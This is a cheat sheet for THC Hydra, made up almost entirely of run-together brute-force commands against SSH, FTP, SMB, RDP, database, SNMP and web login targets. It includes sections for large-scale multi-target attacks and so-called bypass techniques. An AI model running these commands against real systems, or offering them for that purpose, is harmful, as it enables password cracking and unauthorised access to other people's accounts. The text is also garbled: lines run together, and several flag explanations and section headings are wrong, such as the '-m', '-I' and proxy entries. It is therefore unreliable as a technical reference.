
THC Hydra is a fast and powerful password-cracking tool used for brute-force attacks against various protocols and services like FTP, SSH, Telnet, and HTTP. It supports multiple authentication methods, making it a go-to tool for penetration testers to assess password security across networks, web applications, and remote systems. Hydra helps identify weak credentials.
Installation and Setup
sudo apt update && sudo apt install hydrasudo apt update && sudo apt install hydrabrew install hydragit clone https://github.com/vanhauser-thc/thc-hydra.gitcd thc-hydra./configuremakesudo make installBasic Usage
hydra -L users.txt -P passwords.txt 10.1.1.1 ssh #Basic SSH Brute-Forcehydra -l admin -P rockyou.txt ftp://10.1.1.1 #FTP Brute-Force with a Single Userhydra -L users.txt -P passwords.txt -t 4 ssh://10.1.1.1 #Limit Concurrent Threads (4)hydra -L users.txt -P passwords.txt -M targets.txt ssh #Attack Multiple Targets from FileSupported Authentication Protocols
hydra -U #List all supported protocolshydra -L users.txt -P passwords.txt ssh://10.1.1.1 #SSH Attackhydra -L users.txt -P passwords.txt ftp://10.1.1.1 #FTP Attackhydra -L users.txt -P passwords.txt rdp://10.1.1.1 #RDP Attackhydra -L users.txt -P passwords.txt smb://10.1.1.1 #SMB Attackhydra -L users.txt -P passwords.txt mysql://10.1.1.1 #MySQL Attackhydra -L users.txt -P passwords.txt postgres://10.1.1.1 #PostgreSQL Attackhydra -L users.txt -P passwords.txt http-post-form://example.com/login.php #Web Login Formhydra -L users.txt -P passwords.txt snmp://10.1.1.1 #SNMP Brute-ForceCommon Attack Scenarios
Brute-Force SSH
hydra -L users.txt -P passwords.txt ssh://10.1.1.1 #SSH Attackhydra -l root -P rockyou.txt ssh://10.1.1.1 #Target Root Accounthydra -L users.txt -P passwords.txt -s 2222 ssh://10.1.1.1 #Attack Custom SSH PortBrute-Force FTP
hydra -L users.txt -P passwords.txt ftp://10.1.1.1 #FTP Attackhydra -L users.txt -P passwords.txt -s 21 ftp://10.1.1.1 #FTP on Port 21hydra -L users.txt -P passwords.txt -u anonymous ftp://10.1.1.1 #FTP Anonymous Login CheckBrute-Force SMB
hydra -L users.txt -P passwords.txt smb://10.1.1.1 #SMB Brute-Force Attackhydra -L users.txt -P passwords.txt -t 5 smb://10.1.1.1 #SMB Brute-Force Attack with Thread Controlhydra -L users.txt -P passwords.txt -e nsr smb://10.1.1.1 #Try Null, Same-as-User, and ReverseBrute-Force RDP
hydra -L users.txt -P passwords.txt rdp://10.1.1.1 #RDP Brute-Force Attackhydra -L users.txt -P passwords.txt -s 3389 rdp://10.1.1.1 #RDP Brute-Force Attack on Port 3389Brute-Force Web Login Forms
hydra -L users.txt -P passwords.txt http-post-form://example.com/login.php:user=^USER^&pass=^PASS^:S=200 #HTTP Login Brute-Force Attackhydra -L users.txt -P passwords.txt http-get-form://example.com/login.php:user=^USER^&pass=^PASS^:F=incorrect #HTTP GET Form Brute-Force AttackAdvanced Options
hydra -L users.txt -P passwords.txt -M targets.txt ssh #Brute-Force Multiple Targetshydra -l root -P rockyou.txt -vV ssh://10.1.1.1 #Verbose Modehydra -L users.txt -P passwords.txt -t 10 -T 20 ssh://10.1.1.1 #Increase Parallel Taskshydra -l admin -P passwords.txt -w 5 ftp://10.1.1.1 #Add a Wait Time Between Brute-Force Attemptshydra -L users.txt -P passwords.txt -m 2 ssh://10.1.1.1 #Retry Each Password TwicePerformance Tuning
hydra -t 10 -L users.txt -P passwords.txt ssh://10.1.1.1 #Increase Threadshydra -L users.txt -P passwords.txt -T 30 ssh://10.1.1.1 #Optimize Connection Attemptshydra -L users.txt -P passwords.txt -w 10 ssh://10.1.1.1 #Add a 10-second Wait Between Brute-Force AttemptsBypass and Obfuscation Techniques
hydra -L users.txt -P passwords.txt -e ns ssh://10.1.1.1 #Try Null and Same-Name Passwordshydra -L users.txt -P passwords.txt -m 2 ssh://10.1.1.1 #Retry Each Password Twicehydra -L users.txt -P passwords.txt -W 5 ssh://10.1.1.1 #Delay Between RetriesProxy and VPN Support
hydra -L users.txt -P passwords.txt -s 2222 ssh://10.1.1.1 #Use a Custom Porthydra -L users.txt -P passwords.txt -x 5:8:A1 ssh://10.1.1.1 #Generate Passwordshydra -L users.txt -P passwords.txt -V -F ssh://10.1.1.1 #Exit After First MatchTroubleshooting and Debugging
hydra -L users.txt -P passwords.txt -V ssh://10.1.1.1 #Enable Verbose Outputhydra -L users.txt -P passwords.txt -d ssh://10.1.1.1 #Enable Debug Modehydra -R #Resume Last Cracked SessionBest Practices
hydra -L users.txt -P rockyou.txt -t 10 -V ssh://10.1.1.1 #Optimize SSH Attackhydra -L users.txt -P passwords.txt -M targets.txt -T 25 -V ssh #Large-Scale Attackhydra -L users.txt -P passwords.txt -w 10 -I ssh://10.1.1.1 #Ignore Invalid Logins



